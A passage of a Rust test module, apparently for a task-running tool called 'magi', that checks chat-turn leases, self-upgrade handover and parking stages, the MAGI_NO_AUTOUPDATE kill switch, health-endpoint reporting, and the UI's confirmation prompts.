15962 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
15963 assert!(talks.turn_held(id), "the web turn holds the lease");
15964 drop(turn);
15965 assert!(
15966 !talks.turn_held(id),
15967 "dropping the guard releases the lease"
15968 );
15969 }
15970
15971 #[test]
15972 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
15973 let home = TempDir::new().expect("temp home");
15974 let talks = Talks::at(home.path().join("talks"));
15975 let ui = Ui::new(
15976 Queue::at(home.path().join("queue")),
15977 Questions::at(home.path().join("questions")),
15978 talks.clone(),
15979 home.path().join("runs"),
15980 home.path().to_path_buf(),
15981 PathBuf::from("/repo"),
15982 )
15983 .with_worktrees_root(home.path().join("wt"));
15984 let id = "20260901-000000-order";
15985 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15986 let slots = ui.talk_turns.lock().unwrap();
15988 let dropper = std::thread::spawn(move || drop(turn));
15989 let start = std::time::Instant::now();
15990 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
15991 std::thread::sleep(Duration::from_millis(5));
15992 }
15993 assert!(!talks.turn_held(id), "the lease is released first");
15994 assert!(slots.live.contains(id), "the slot is still held meanwhile");
15995 drop(slots);
15996 dropper.join().expect("join");
15997 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
15998 }
15999
16000 #[tokio::test]
16001 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
16002 let fx = Fixture::start().await;
16003 let mut beat = crate::daemon::Status::new();
16007 beat.pid = 4321;
16008 beat.updated_at = jiff::Timestamp::now();
16009 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16010 .expect("publish a heartbeat");
16011
16012 let res = fx.post("/api/upgrade", None).await;
16013 assert_eq!(res.status, 409);
16014 let err = res.json()["error"].as_str().unwrap().to_owned();
16015 assert!(err.contains("4321"), "the refusal names the owner: {err}");
16016 assert!(err.contains("old one against the same queue"), "{err}");
16017 }
16018
16019 #[test]
16026 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
16027 assert!(!should_spawn_recheck(&crate::config::Update {
16028 mode: UpdateMode::Off,
16029 interval: None,
16030 }));
16031
16032 unsafe {
16035 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16036 }
16037 let killed = should_spawn_recheck(&crate::config::Update {
16038 mode: UpdateMode::Notify,
16039 interval: None,
16040 });
16041 unsafe {
16042 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16043 }
16044 assert!(
16045 !killed,
16046 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
16047 one-time startup check"
16048 );
16049
16050 assert!(should_spawn_recheck(&crate::config::Update {
16051 mode: UpdateMode::Notify,
16052 interval: None,
16053 }));
16054 }
16055
16056 #[test]
16062 fn recheck_poll_period_tracks_a_short_configured_interval() {
16063 let short = crate::config::Update {
16064 mode: UpdateMode::Notify,
16065 interval: Some("1m".to_owned()),
16066 };
16067 let period = recheck_poll_period(&short);
16068 assert!(
16069 period <= Duration::from_secs(30),
16070 "a one-minute interval must wake the task far sooner than the \
16071 default ceiling, or the deck would not notice within the \
16072 interval the operator configured: got {period:?}"
16073 );
16074
16075 let default = crate::config::Update {
16076 mode: UpdateMode::Notify,
16077 interval: None,
16078 };
16079 assert_eq!(
16080 recheck_poll_period(&default),
16081 UPDATE_RECHECK_POLL_MAX,
16082 "the default day-long interval should poll at the (capped) \
16083 ceiling rather than needlessly often"
16084 );
16085 }
16086
16087 #[test]
16095 fn recheck_skips_the_network_before_the_interval_elapses() {
16096 let dir = TempDir::new().expect("temp dir");
16097 let path = dir.path().join("state.json");
16098 let state = kaishin::UpdateCheckState {
16099 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
16100 last_known_latest: None,
16101 last_known_url: None,
16102 };
16103 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
16104
16105 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
16106 assert!(
16107 !update_recheck_due(&checker, None),
16108 "a check made moments ago must not be repeated before the \
16109 configured interval elapses"
16110 );
16111 }
16112
16113 #[test]
16119 fn recheck_defers_to_an_upgrade_already_in_flight() {
16120 let dir = TempDir::new().expect("temp dir");
16121 let path = dir.path().join("state.json");
16122 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
16123 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
16124
16125 assert!(
16126 !update_recheck_due(&checker, Some(&progress)),
16127 "a recheck must not run while an upgrade this deck started is \
16128 still moving"
16129 );
16130 }
16131
16132 #[tokio::test]
16133 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
16134 unsafe {
16146 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16147 }
16148 let fx = Fixture::start().await;
16149 let res = fx.post("/api/upgrade", None).await;
16150 unsafe {
16151 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16152 }
16153 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
16154 let body = res.json();
16155 assert!(body["to"].is_null(), "there was no release to move to");
16156 assert!(body["parked"].is_null(), "and nothing was parked");
16157 assert!(
16158 body["detail"]
16159 .as_str()
16160 .unwrap()
16161 .contains("disabled by MAGI_NO_AUTOUPDATE"),
16162 "{body:?}"
16163 );
16164 }
16165
16166 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
16167 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
16168 p.stage = stage;
16169 p
16170 }
16171
16172 #[test]
16173 fn busy_stages_match_the_ui_set() {
16174 use crate::updater::Stage;
16175 assert!(APP_JS.contains(
16176 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
16177 ));
16178 for s in [
16179 Stage::Downloading,
16180 Stage::Replaced,
16181 Stage::Parking,
16182 Stage::Restarting,
16183 ] {
16184 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
16185 }
16186 for s in [Stage::Done, Stage::Failed] {
16187 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
16188 }
16189 assert!(upgrade_in_motion(None).is_none());
16190 }
16191
16192 #[tokio::test]
16193 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
16194 use crate::updater::Stage;
16195 for stage in [
16196 Stage::Downloading,
16197 Stage::Replaced,
16198 Stage::Parking,
16199 Stage::Restarting,
16200 ] {
16201 let fx = Fixture::start().await;
16202 let seeded = seeded_progress(stage);
16203 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
16204 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16205 .expect("read");
16206
16207 let res = fx.post("/api/upgrade", None).await;
16208 assert_eq!(res.status, 409, "{stage:?}");
16209 let err = res.json()["error"].as_str().unwrap().to_owned();
16210 assert!(err.contains("already in progress"), "{err}");
16211 assert!(err.contains(stage.as_str()), "{err}");
16212
16213 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16214 .expect("read");
16215 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
16216 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
16217 .unwrap_or_default();
16218 assert!(!log.contains("signalling HANDOVER"), "{log}");
16219 }
16220 }
16221
16222 #[tokio::test]
16223 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
16224 use crate::updater::Stage;
16225 let repo = TempDir::new().expect("repo dir");
16226 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16227 .expect("write magi.toml");
16228 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16229 for stage in [Stage::Done, Stage::Failed] {
16230 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
16231 let res = fx.post("/api/upgrade", None).await;
16232 assert_eq!(res.status, 200, "{stage:?}");
16233 }
16234 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
16236 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
16237 }
16238
16239 #[tokio::test]
16240 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
16241 let repo = TempDir::new().expect("repo dir");
16257 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16258 .expect("write magi.toml");
16259 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16260
16261 let res = fx.post("/api/upgrade", None).await;
16267 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
16268 let body = res.json();
16269 assert!(body["to"].is_null(), "there was no release to move to");
16270 assert!(body["parked"].is_null(), "and nothing was parked");
16271 assert!(
16272 body["detail"]
16273 .as_str()
16274 .unwrap()
16275 .contains("nothing restarted"),
16276 "{body:?}"
16277 );
16278 }
16279
16280 #[tokio::test]
16281 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
16282 let repo = TempDir::new().expect("repo dir");
16287 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16288 .expect("write magi.toml");
16289 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16290
16291 let health = fx.get("/api/health").await.json();
16292 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
16293 assert_eq!(
16294 health["update"]["available"], false,
16295 "checking is off, which reads as \"unknown\", not \"none\""
16296 );
16297 assert!(health["update"]["to"].is_null());
16298 assert!(
16299 health["upgrade"].is_null(),
16300 "nothing has ever asked this deck to upgrade"
16301 );
16302 }
16303
16304 #[tokio::test]
16305 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
16306 let fx = Fixture::start().await;
16307 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
16308
16309 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16310 progress.parked_run = Some("20260905-000000-cd51".to_owned());
16311 progress.advance(crate::updater::Stage::Parking);
16312 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
16313
16314 let health = fx.get("/api/health").await.json();
16315 assert_eq!(health["upgrade"]["stage"], "parking");
16316 assert_eq!(health["upgrade"]["from"], "0.5.1");
16317 assert_eq!(health["upgrade"]["to"], "0.5.2");
16318 let waiting_on = health["upgrade"]["waiting_on"]
16319 .as_str()
16320 .expect("waiting_on is set while parking a known run");
16321 assert!(waiting_on.contains("cd51"), "{waiting_on}");
16322 assert!(waiting_on.contains("implementing"), "{waiting_on}");
16323 }
16324
16325 #[tokio::test]
16326 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
16327 let fx = Fixture::start().await;
16328 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16329 progress.advance(crate::updater::Stage::Done);
16330 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
16331
16332 let health = fx.get("/api/health").await.json();
16333 assert_eq!(health["upgrade"]["stage"], "done");
16334 assert!(
16335 health["upgrade"]["waiting_on"].is_null(),
16336 "nothing to wait on once it is done"
16337 );
16338 }
16339
16340 #[tokio::test]
16341 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
16342 let home = TempDir::new().expect("temp home");
16343 let runs = home.path().join("runs");
16344 std::fs::create_dir_all(&runs).expect("runs dir");
16345 let ui = Ui::new(
16346 Queue::at(home.path().join("queue")),
16347 Questions::at(home.path().join("questions")),
16348 Talks::at(home.path().join("talks")),
16349 runs,
16350 home.path().to_path_buf(),
16351 PathBuf::from("/repo/magi"),
16352 )
16353 .with_launch(launch_idle);
16354 let looping = ui.looping();
16355 let turns = ui.turns();
16356 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16357 .await
16358 .expect("bind loopback");
16359 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
16360
16361 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16362 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
16363
16364 hand_over(
16365 home.path(),
16366 &looping,
16367 &turns,
16368 &|_: &[String]| Duration::from_secs(5),
16369 served,
16370 |_| Ok(1),
16371 )
16372 .await
16373 .expect("hand over");
16374
16375 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
16376 assert_eq!(
16377 after.stage,
16378 crate::updater::Stage::Restarting,
16379 "hand_over owns the record through parking and up to restarting; \
16380 the successor is what finishes it"
16381 );
16382 }
16383
16384 #[tokio::test]
16387 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
16388 for fail in [false, true] {
16389 let home = TempDir::new().expect("temp home");
16390 let ui = idle_ui(&home);
16391 let looping = ui.looping();
16392 let turns = ui.turns();
16393 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16394 .await
16395 .expect("bind loopback");
16396 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
16397 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16398 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
16399
16400 let calls = std::sync::atomic::AtomicUsize::new(0);
16401 let outcome = hand_over(
16402 home.path(),
16403 &looping,
16404 &turns,
16405 &|_: &[String]| Duration::from_secs(5),
16406 served,
16407 |_| {
16408 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16409 if fail {
16410 anyhow::bail!("no exec")
16411 } else {
16412 Ok(4242)
16413 }
16414 },
16415 )
16416 .await;
16417 assert_eq!(outcome.is_err(), fail);
16418 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16419
16420 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
16421 .expect("upgrade.log is written under the home");
16422 for step in [
16423 "entered",
16424 "finish_loop",
16425 "listener released",
16426 "starting the successor",
16427 ] {
16428 assert!(log.contains(step), "missing `{step}` in:\n{log}");
16429 }
16430 assert!(
16431 log.contains(if fail { "did not start" } else { "pid 4242" }),
16432 "{log}"
16433 );
16434 }
16435 }
16436
16437 #[tokio::test]
16440 async fn the_handover_signal_wakes_one_waiter_once() {
16441 let signal = Notify::new();
16442 signal.notify_one();
16444 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
16445 .await
16446 .expect("an early signal is still seen");
16447 assert!(
16449 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
16450 .await
16451 .is_err(),
16452 "a consumed signal must not wake a second time"
16453 );
16454 let signal = std::sync::Arc::new(signal);
16456 let waiter = tokio::spawn({
16457 let signal = std::sync::Arc::clone(&signal);
16458 async move { wait_for_handover(&signal).await }
16459 });
16460 tokio::time::sleep(Duration::from_millis(20)).await;
16461 assert!(!waiter.is_finished(), "nothing was signalled yet");
16462 signal.notify_one();
16463 tokio::time::timeout(Duration::from_secs(5), waiter)
16464 .await
16465 .expect("a late signal wakes the waiter")
16466 .expect("join");
16467 }
16468
16469 #[tokio::test]
16470 async fn health_says_how_long_a_handover_has_been_stuck() {
16471 let fx = Fixture::start().await;
16472 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16473 progress.advance(crate::updater::Stage::Replaced);
16474 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
16475 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
16476
16477 let health = fx.get("/api/health").await.json();
16478 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
16479 assert!(stuck >= 600, "{stuck}");
16480 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
16481 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
16482 }
16483
16484 #[tokio::test]
16485 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
16486 let home = tempfile::tempdir().expect("temp home");
16487 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16488 progress.advance(crate::updater::Stage::Parking);
16489 crate::updater::write_progress(home.path(), &progress).expect("seed");
16490 let mut again = progress.clone();
16492 again.advance(crate::updater::Stage::Replaced);
16493 crate::updater::write_progress(home.path(), &again).expect("replaced");
16494 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16495 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
16496 let after = crate::updater::read_progress(home.path()).expect("record");
16497 assert_eq!(after.stage, crate::updater::Stage::Parking);
16498 }
16499
16500 #[tokio::test]
16501 async fn health_does_not_call_a_live_parking_wait_stuck() {
16502 let fx = Fixture::start().await;
16503 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16504 progress.parked_run = Some("20260905-000000-cd51".to_owned());
16505 progress.advance(crate::updater::Stage::Parking);
16506 let hours = Duration::from_secs(3 * 3600);
16507 progress.started_at = Timestamp::now() - hours;
16508 progress.updated_at = Timestamp::now() - hours;
16509 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
16510 let _lease = crate::updater::LeaseGuard::enter(
16511 fx.home.path(),
16512 Some("20260905-000000-cd51".to_owned()),
16513 );
16514
16515 let health = fx.get("/api/health").await.json();
16516 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
16517 assert!(health["upgrade"]["stuck_kind"].is_null());
16518 assert_eq!(health["upgrade"]["handover_alive"], true);
16519 let waiting_on = health["upgrade"]["waiting_on"]
16520 .as_str()
16521 .expect("waiting_on");
16522 assert!(waiting_on.contains("cd51"), "{waiting_on}");
16523 }
16524
16525 fn idle_ui(home: &TempDir) -> Ui {
16526 let runs = home.path().join("runs");
16527 std::fs::create_dir_all(&runs).expect("runs dir");
16528 Ui::new(
16529 Queue::at(home.path().join("queue")),
16530 Questions::at(home.path().join("questions")),
16531 Talks::at(home.path().join("talks")),
16532 runs,
16533 home.path().to_path_buf(),
16534 PathBuf::from("/repo/magi"),
16535 )
16536 .with_launch(launch_idle)
16537 }
16538
16539 async fn park_fixture(
16540 home: &TempDir,
16541 ) -> (
16542 Ui,
16543 Arc<Mutex<LoopState>>,
16544 Arc<Mutex<TalkTurns>>,
16545 tokio::task::JoinHandle<std::io::Result<()>>,
16546 ) {
16547 let ui = idle_ui(home);
16548 let looping = ui.looping();
16549 let turns = ui.turns();
16550 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16551 .await
16552 .expect("bind loopback");
16553 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
16554 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
16555 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
16556 (ui, looping, turns, served)
16557 }
16558
16559 #[tokio::test]
16563 async fn hand_over_waits_for_a_running_chat_turn() {
16564 let home = TempDir::new().expect("temp home");
16565 let (ui, looping, turns, served) = park_fixture(&home).await;
16566 let ui = Arc::new(ui);
16567 let id = "20260901-000000-chat";
16568 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16569
16570 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
16571 let handover = tokio::spawn({
16572 let home = home.path().to_path_buf();
16573 let turns = Arc::clone(&turns);
16574 let calls = Arc::clone(&calls);
16575 async move {
16576 hand_over(
16577 &home,
16578 &looping,
16579 &turns,
16580 &|_: &[String]| Duration::from_secs(60),
16581 served,
16582 move |_| {
16583 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16584 Ok(1)
16585 },
16586 )
16587 .await
16588 }
16589 });
16590
16591 let waiting = async {
16592 for _ in 0..200 {
16593 if crate::updater::read_progress(home.path())
16594 .is_some_and(|p| p.parked_talks == [id.to_owned()])
16595 {
16596 return;
16597 }
16598 tokio::time::sleep(Duration::from_millis(25)).await;
16599 }
16600 panic!("the park never named the chat turn");
16601 };
16602 waiting.await;
16603 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16604
16605 let refused = ui.begin_talk_turn("20260901-000000-late").err();
16608 assert!(
16609 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
16610 "a direct start says an upgrade is in progress"
16611 );
16612 assert!(
16613 ui.begin_queued_talk_turn("20260901-000000-late")
16614 .expect("queued claim")
16615 .is_none()
16616 );
16617 assert!(matches!(
16618 ui.begin_talk_turn_unless_pending("20260901-000000-late")
16619 .expect("start"),
16620 TalkTurnStart::Busy
16621 ));
16622 assert_eq!(turns.lock().unwrap().live.len(), 1);
16623
16624 let progress = crate::updater::read_progress(home.path()).expect("progress");
16626 let view = upgrade_progress_view(&ui, progress);
16627 assert!(
16628 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
16629 "{:?}",
16630 view.waiting_on
16631 );
16632
16633 assert!(!handover.is_finished());
16634 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16635 drop(turn);
16636 handover.await.expect("join").expect("hand over");
16637 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16638 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
16639 }
16640
16641 #[tokio::test]
16644 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
16645 let home = TempDir::new().expect("temp home");
16646 let (ui, looping, turns, served) = park_fixture(&home).await;
16647 let ui = Arc::new(ui);
16648 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
16650 lock_or_recover(&looping).live = Some(Live {
16651 stop: daemon::Stop::new(),
16652 handle: tokio::spawn(async move {
16653 let _ = loop_ended.await;
16654 }),
16655 opts: daemon::Opts::default(),
16656 });
16657
16658 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
16659 let handover = tokio::spawn({
16660 let home = home.path().to_path_buf();
16661 let turns = Arc::clone(&turns);
16662 let calls = Arc::clone(&calls);
16663 async move {
16664 hand_over(
16665 &home,
16666 &looping,
16667 &turns,
16668 &|_: &[String]| Duration::from_secs(60),
16669 served,
16670 move |_| {
16671 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16672 Ok(1)
16673 },
16674 )
16675 .await
16676 }
16677 });
16678
16679 let reached = async {
16680 for _ in 0..200 {
16681 if crate::updater::read_progress(home.path())
16682 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
16683 {
16684 return;
16685 }
16686 tokio::time::sleep(Duration::from_millis(25)).await;
16687 }
16688 panic!("the hand-over never reached parking");
16689 };
16690 reached.await;
16691
16692 assert!(!turns.lock().unwrap().parking);
16694 let turn = ui
16695 .begin_talk_turn("20260901-000000-chat")
16696 .expect("claim")
16697 .expect("a turn can start while the loop parks");
16698
16699 end_loop.send(()).expect("loop still waiting");
16701 for _ in 0..200 {
16702 if turns.lock().unwrap().parking {
16703 break;
16704 }
16705 tokio::time::sleep(Duration::from_millis(25)).await;
16706 }
16707 assert!(
16708 turns.lock().unwrap().parking,
16709 "closed once the loop is done"
16710 );
16711 let refused = ui.begin_talk_turn("20260901-000000-late").err();
16712 assert!(
16713 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
16714 "no turn starts once the loop is done"
16715 );
16716 assert!(
16717 ui.begin_queued_talk_turn("20260901-000000-late")
16718 .expect("queued claim")
16719 .is_none()
16720 );
16721 assert!(!handover.is_finished());
16722 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
16723
16724 drop(turn);
16725 handover.await.expect("join").expect("hand over");
16726 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16727 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
16728 }
16729
16730 #[tokio::test]
16733 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
16734 let home = TempDir::new().expect("temp home");
16735 let (ui, looping, turns, served) = park_fixture(&home).await;
16736 let id = "20260901-000000-stuk";
16737 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16738
16739 let calls = std::sync::atomic::AtomicUsize::new(0);
16740 hand_over(
16741 home.path(),
16742 &looping,
16743 &turns,
16744 &|_: &[String]| Duration::from_millis(300),
16745 served,
16746 |_| {
16747 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
16748 Ok(1)
16749 },
16750 )
16751 .await
16752 .expect("hand over");
16753 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
16754
16755 let progress = crate::updater::read_progress(home.path()).expect("progress");
16756 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
16757 assert!(
16758 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
16759 "{:?}",
16760 progress.detail
16761 );
16762 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
16763 assert!(
16764 log.contains("handing over anyway") && log.contains(id),
16765 "{log}"
16766 );
16767 }
16768
16769 #[tokio::test]
16772 async fn drain_loop_starts_no_turn_while_parking() {
16773 let tmp = TempDir::new().expect("tempdir");
16774 let repo = tmp.path().join("repo");
16775 std::fs::create_dir_all(&repo).expect("repo dir");
16776 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16777 let home = TempDir::new().expect("temp home");
16778 let talks = Talks::at(home.path().join("talks"));
16779 let ui = Ui::new(
16780 Queue::at(home.path().join("queue")),
16781 Questions::at(home.path().join("questions")),
16782 talks.clone(),
16783 home.path().join("runs"),
16784 home.path().to_path_buf(),
16785 repo.clone(),
16786 )
16787 .with_worktrees_root(home.path().join("wt"));
16788 let cfg = config_for(&repo).await.expect("discover config");
16789 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16790 let id = talk.id.clone();
16791 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
16792 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
16793 let turns = ui.turns();
16794 let parking = ParkingTurns::begin(&turns);
16795
16796 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
16797
16798 assert!(
16799 turns.lock().unwrap().live.is_empty(),
16800 "the slot is given up"
16801 );
16802 let fresh = talks.get(&id).expect("talk");
16803 assert_eq!(fresh.pending, "later", "the draft is still queued");
16804 assert!(fresh.turns.is_empty(), "no turn ran");
16805 drop(parking);
16806 }
16807
16808 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
16810 let looping = ui.looping();
16811 let turns = ui.turns();
16812 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16813 .await
16814 .expect("bind loopback");
16815 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
16816 let told = std::sync::Mutex::new(None);
16817 hand_over(
16818 home.path(),
16819 &looping,
16820 &turns,
16821 &|_: &[String]| Duration::from_secs(5),
16822 served,
16823 |resume| {
16824 *told.lock().unwrap() = Some(resume);
16825 Ok(1)
16826 },
16827 )
16828 .await
16829 .expect("hand over");
16830 told.into_inner().unwrap().expect("successor was started")
16831 }
16832
16833 #[tokio::test]
16834 async fn a_running_loop_is_resumed_by_the_successor() {
16835 let home = TempDir::new().expect("temp home");
16836 let ui = idle_ui(&home);
16837 ui.start_loop(None).expect("start");
16838 ui.park_for_upgrade().expect("park");
16839 for _ in 0..500 {
16841 if !ui.loop_view(None).running {
16842 break;
16843 }
16844 tokio::time::sleep(Duration::from_millis(2)).await;
16845 }
16846 assert!(handed_over(&home, ui).await, "a running loop must resume");
16847
16848 let successor = idle_ui(&home);
16849 assert!(!successor.loop_view(None).running);
16850 assert!(successor.resume_after_handover(true));
16851 assert!(successor.loop_view(None).running);
16852 successor.stop_loop(None, false).expect("stop");
16853 }
16854
16855 #[tokio::test]
16856 async fn a_second_upgrade_request_keeps_the_resume_intent() {
16857 let home = TempDir::new().expect("temp home");
16858 let ui = idle_ui(&home);
16859 ui.start_loop(None).expect("start");
16860 ui.park_for_upgrade().expect("first park");
16861 ui.park_for_upgrade().expect("second park");
16862 assert!(handed_over(&home, ui).await);
16863 }
16864
16865 #[tokio::test]
16866 async fn a_stop_during_the_handover_wait_is_honoured() {
16867 let home = TempDir::new().expect("temp home");
16868 let ui = idle_ui(&home);
16869 ui.start_loop(None).expect("start");
16870 ui.park_for_upgrade().expect("park");
16871 ui.stop_loop(None, false).expect("stop");
16872 assert!(!handed_over(&home, ui).await);
16873 }
16874
16875 #[tokio::test]
16876 async fn an_idle_loop_stays_stopped_across_the_handover() {
16877 let home = TempDir::new().expect("temp home");
16878 let ui = idle_ui(&home);
16879 ui.park_for_upgrade().expect("park");
16880 assert!(!handed_over(&home, ui).await);
16881
16882 let successor = idle_ui(&home);
16883 assert!(!successor.resume_after_handover(false));
16884 assert!(!successor.loop_view(None).running);
16885 }
16886
16887 #[tokio::test]
16888 async fn a_loop_the_operator_stopped_is_not_resumed() {
16889 let home = TempDir::new().expect("temp home");
16890 let ui = idle_ui(&home);
16891 ui.start_loop(None).expect("start");
16892 ui.stop_loop(None, false).expect("stop");
16893 ui.park_for_upgrade().expect("park");
16894 assert!(!handed_over(&home, ui).await);
16895 }
16896
16897 #[test]
16898 fn only_an_explicit_one_requests_a_resume() {
16899 assert!(!resume_requested(None));
16900 assert!(!resume_requested(Some("0".into())));
16901 assert!(!resume_requested(Some("".into())));
16902 assert!(resume_requested(Some("1".into())));
16903 }
16904
16905 #[test]
16906 fn the_upgrade_button_arms_before_it_restarts_anything() {
16907 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
16910 assert!(APP_JS.contains("Replace the binary and restart?"));
16911 assert!(APP_JS.contains("function confirmed("));
16912 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
16917 assert!(
16921 APP_JS.contains("Parking, then restarting"),
16922 "the button says what it is waiting for"
16923 );
16924 assert!(APP_JS.contains("if (!out.to)"));
16927 }
16928
16929 #[test]
16930 fn stopping_the_loop_arms_but_starting_does_not() {
16931 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
16934 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
16935 assert!(APP_JS.contains("confirmed(button, question)"));
